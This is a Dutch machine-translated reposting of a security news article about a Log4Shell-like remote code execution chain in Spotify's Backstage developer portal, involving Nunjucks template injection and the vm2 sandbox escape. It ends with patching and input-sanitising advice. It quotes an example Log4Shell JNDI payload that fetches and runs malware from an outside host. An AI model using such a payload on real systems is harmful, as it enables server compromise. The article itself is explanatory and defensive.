Log4Shell-achtig code-uitvoeringsgat in de populaire Backstage-ontwikkeltool PlatoBlockchain Data Intelligence. Verticaal zoeken. Ai.

Log4Shell-achtig code-uitvoeringsgat in populaire Backstage-ontwikkelaarstool

Onderzoekers van cloudcoderingsbeveiligingsbedrijf Oxeye hebben een kritieke bug opgeschreven die ze onlangs ontdekten in de populaire toolkit voor cloudontwikkeling Backstage.

Hun verslag bevat een uitleg over hoe de bug werkt, plus proof-of-concept (PoC)-code die laat zien hoe deze kan worden misbruikt.

Backstage is wat bekend staat als een cloud-ontwikkelaarsportal - een soort backend voor bedrijfslogica die het eenvoudig maakt om webgebaseerde API's (application programming interfaces) te bouwen waarmee codeerders binnen en buiten uw bedrijf kunnen communiceren met uw online services.

In de woorden van het project zelf, oorspronkelijk gemaakt bij Spotify maar nu open source op GutHub:

Backstage is een open platform voor het bouwen van portals voor ontwikkelaars. Aangedreven door een gecentraliseerde softwarecatalogus, herstelt Backstage de orde in uw microservices en infrastructuur en stelt uw productteams in staat om snel hoogwaardige code te verzenden - zonder de autonomie in gevaar te brengen.

Backstage verenigt al uw infrastructuurtooling, services en documentatie om van begin tot eind een gestroomlijnde ontwikkelomgeving te creรซren.

Nee, we weten ook niet echt wat dat betekent, maar we weten wel dat de toolkit is geschreven in JavaScript, draait met behulp van het server-side JavaScript-systeem node.js, en haalt een web van supply chain-afhankelijkheden uit het NPM-ecosysteem.

NPM is een afkorting van Knooppunt Pakketbeheer, een geautomatiseerde toolkit om ervoor te zorgen dat uw back-end JavaScript-code gemakkelijk gebruik kan maken van een breed scala aan open source-bibliotheken die populaire, vooraf geschreven hulptools bieden voor alles van cryptografie en databasebeheer tot logboekregistratie en versiebeheer.

Uitvoering van externe code

Helaas kan de bug die vandaag is onthuld, als deze niet is gepatcht, niet-geverifieerde buitenstaanders (losjes, iedereen die API-verbindingen met uw servers kan maken) een manier bieden om externe code-uitvoering (RCE) te activeren binnen de bedrijfslogica-servers op uw netwerk.

Gelukkig echter, als we de beschrijving van Oxeye correct hebben geรฏnterpreteerd, hangt de aanval die ze beschrijven voor hun Backstage RCE af van een reeks coderingsfouten die uiteindelijk afhangen van een specifieke bug, genaamd CVE-2022-36067 in een supply chain-component waarop Backstage vertrouwt, genaamd vm2.

Voor het geval je het je afvraagt, vm2 is een NPM-module voor algemeen gebruik die een "virtuele machine-sandbox" implementeert die tot doel heeft om potentieel riskante JavaScript een beetje veiliger te maken om op je servers te draaien.

Die CVE-2022-36067-bug in vm2 was gerapporteerd terug in augustus 2022 door Oxeye zelf (die het een PR-vriendelijke naam "Sandbreak" gaf, omdat het uit de zandbak brak), en prompt gepatcht bijna drie maanden geleden door het vm2-team.

Dus, voor zover we kunnen zien, als je een Backstage-gebruiker bent, wil je er zeker van zijn dat je alle risicovolle componenten in je Backstage-installatie hebt gepatcht...

... maar als je de vm2-component hebt gepatcht die al die maanden geleden kwetsbaar was voor Sandbreak, dan lijkt het erop dat je niet direct kwetsbaar bent voor de exploit die wordt beschreven in Oxeye's laatste onthulling.

Als uw Backstage-servers zijn geconfigureerd zoals goede cyberbeveiligingsrichtlijnen zouden suggereren, met authenticatie vereist aan zowel de netwerkrand als binnen het netwerk, loopt u geen risico op willekeurige onderzoeken "uitsluitend voor onderzoeksdoeleinden" van "behulpzame" personen die zijn bepaald om te laten zien dat ze geรฏnteresseerd zijn in "onderzoek" naar cyberdreigingen.

Een "Emmenthaler kaas" aanval

Simpel gezegd, de nieuw onthulde beveiligingsproblemen zijn het neveneffect van een reeks beveiligingsproblemen, zoals gaten in plakjes Emmentaler-kaas die achtereenvolgens kunnen worden doorboord als een aanvaller in staat is om ten minste รฉรฉn gat op elke plak uit te lijnen.

Zoals we het begrijpen, bevat Backstage een component genaamd Scaffolder, die, zoals de naam al doet vermoeden, u helpt bij het beheren van de verschillende add-ons (bekend als plug-ins) die uw ontwikkelaarsgemeenschap mogelijk nodig heeft.

Scaffolder maakt op zijn beurt gebruik van een berichtregistratiesysteem van Mozilla, bekend als Nunjucks, dat ook de zogenaamde tekenreeks sjablonen in node.js cirkels, als string-interpolatie in de Java-wereld, en als tekenreeksvervanging aan systeembeheerders die opdrachtshells zoals Bash gebruiken.

Als snaarinterpolatie een belletje doet rinkelen, komt dat waarschijnlijk omdat het in het hart van de Log4Shell kwetsbaarheid terug in december 2021, en van de Follina bug in het midden van 2022.

Hier kunt u de inhoud van een logboekbericht herschrijven op basis van speciale "codeertekens" in een tekenreekssjabloon, zodat een tekenreeks zoals $USER kan worden vervangen door de accountnaam die door de server wordt gebruikt, of ${PID} kan de huidige proces-ID ophalen.

In het extreme geval van Log4Shell, de merkwaardig ogende bezwering ${jndi:ldap://example.com:8888/malware} zou de server direct kunnen misleiden om een โ€‹โ€‹programma te downloaden met de naam malware oppompen van example.com en het stilletjes op de achtergrond uitvoeren.

Met andere woorden, u moet er absoluut zeker van zijn dat gegevens die afkomstig zijn van een niet-vertrouwde bron, zoals een externe gebruiker, nooit blindelings worden doorgegeven aan een stringtemplating- of stringinterpolatiefunctie die moet worden gebruikt als de sjabloontekst zelf.

Als een externe gebruiker bijvoorbeeld uw server probeert te misleiden door zijn gebruikersnaam als ${{RISKY}} (ervan uitgaande dat de sjabloonbibliotheek gebruikt ${{...}} als zijn speciale markering), moet u ervoor zorgen dat uw inlogcode die ondeugende tekst correct letterlijk opneemt zoals deze werd ontvangen...

โ€ฆin plaats van de tekst die wordt gelogd de controle over de logfunctie zelf te laten nemen!

In de woorden van een oud kinderliedje: je moet ervoor zorgen dat je niet zingt: "Er zit een gat in mijn ${{BUCKET}}, lieve Liza, lieve Liza, er zit een gat in mijn ${{BUCKET}}, lieve Liza. Een gat!"

Verpakt in een veiligheidsdeken

Om eerlijk te zijn, de misschien te krachtige templating/interpolatie-functionaliteit van Nunjucks wordt door Backstage verpakt in nog een ander onderdeel van de toeleveringsketen, namelijk het eerder genoemde sandboxing-systeem vm2, dat het gevaar zou moeten beperken dat een kwaadwillende gebruiker met booby zou kunnen doen. -gevangen invoergegevens.

Helaas waren Oxeye-onderzoekers in staat om hun nieuw ontdekte tekenreekstemplating-code-triggerpaden in Backstage + Scaffolder + Nunjucks te koppelen aan de oudere CVE-2022-36067-kwetsbaarheid in de vm2-beveiligingsverpakking om potentiรซle externe code-uitvoering op een Backstage-server te bereiken .

Wat te doen?

Als u een Backstage-gebruiker bent:

  • Zorg ervoor dat u de nieuwste versies van Backstage en zijn afhankelijkheden hebt, waaronder de plugin-scaffolder-backend bestanddeel. Volgens Oxeye waren de relevante bugs in de Backstage-code op 01 september 2022 gepatcht, zodat elke officiรซle puntrelease na die gegevens de fixes zou moeten bevatten. Op het moment van schrijven [2022-11-1T16:00Z] omvat dat ook Backstage 1.6.0, 1.7.0 en 1.8.0, uitgebracht op respectievelijk 2022-09-21, 2022-10-18 en 2022-11-15.
  • Controleer of uw Backstage-installatie authenticatie heeft geconfigureerd zoals u verwacht. Oxeye beweert dat authenticatie standaard is uitgeschakeld en dat na het volgen van de Richtlijnen achter de schermen, backend-servers (die waarschijnlijk toch niet extern mogen worden blootgesteld) nog steeds niet-geverifieerde toegang toestaan. Dat is misschien wat u wilt, maar we raden u aan dit probleem te gebruiken als een reden om te controleren of uw instellingen overeenkomen met uw bedoelingen.
  • Controleer welke delen van uw Backstage infrastructuur bereikbaar zijn vanaf het internet. Nogmaals, gebruik dit probleem als een reden om uw eigen netwerk van buitenaf te scannen als u dit recentelijk niet heeft gedaan.

Als u een node.js/NPM-gebruiker bent:

  • Zorg ervoor dat u de nieuwste versie van de vm2-sandboxcomponent hebt. Mogelijk hebt u dit geรฏnstalleerd als afhankelijkheid van andere software die u gebruikt, zelfs als u geen Backstage heeft. De kwetsbaarheid CVE-2022-36067 is gepatcht op 2022-08-28, dus je wilt vm2-versie 3.9.11 of later.

Als u een programmeur bent:

  • Wees zo defensief als je kunt bij het aanroepen van krachtige logfuncties. Als u een logboekservice gebruikt (inclusief Nunjucks of Log4J) die krachtige functies voor sjablonen/interpolatie bevat, schakelt u alle functies uit die u niet nodig hebt, zodat ze niet per ongeluk kunnen worden misbruikt. Zorg ervoor dat niet-vertrouwde invoer nooit zelf als sjabloon wordt gebruikt, waardoor wordt voorkomen dat aanvallers hun eigen direct gevaarlijke invoerreeksen gebruiken.
  • Ongeacht eventuele andere voorzorgsmaatregelen, reinig uw invoer en uitvoer van uw logbestanden. Houd er rekening mee dat iemand anders in de toekomst uw logbestanden moet openen. Zorg ervoor dat er geen onbedoelde boobytraps in uw logbestand worden geschreven waar ze later problemen kunnen veroorzaken, zoals HTML-fragmenten waarin scripttags zijn achtergebleven. (Iemand zou het bestand per ongeluk in een browser kunnen openen.)

Zelfs als je input krijgt van een vertrouwde bron, is er zelden een reden om het niet door je eigen hygiรซnecontroles te laten gaan voordat je het gebruikt.

(U kunt af en toe een uitzondering rechtvaardigen, bijvoorbeeld om prestatieredenen, maar het moet een uitzondering zijn, niet de regel.)

Ten eerste helpt opnieuw controleren u om fouten te ontdekken die eerdere codeerders mogelijk te goeder trouw hebben gemaakt; ten tweede helpt het de verspreiding van slechte of boobytrapped gegevens te beperken als een ander deel van uw ecosysteem wordt aangetast.

Het ding over die plakjes Emmentaler-kaas die we eerder noemden, is dat hoewel ze doorlatend zijn als er minstens รฉรฉn gaatje op elk vel ligt ...

โ€ฆze zijn ondoordringbaar als er ten minste รฉรฉn vel is met gaten die helemaal niet op รฉรฉn lijn liggen!


Tijdstempel:

Meer van Naakte beveiliging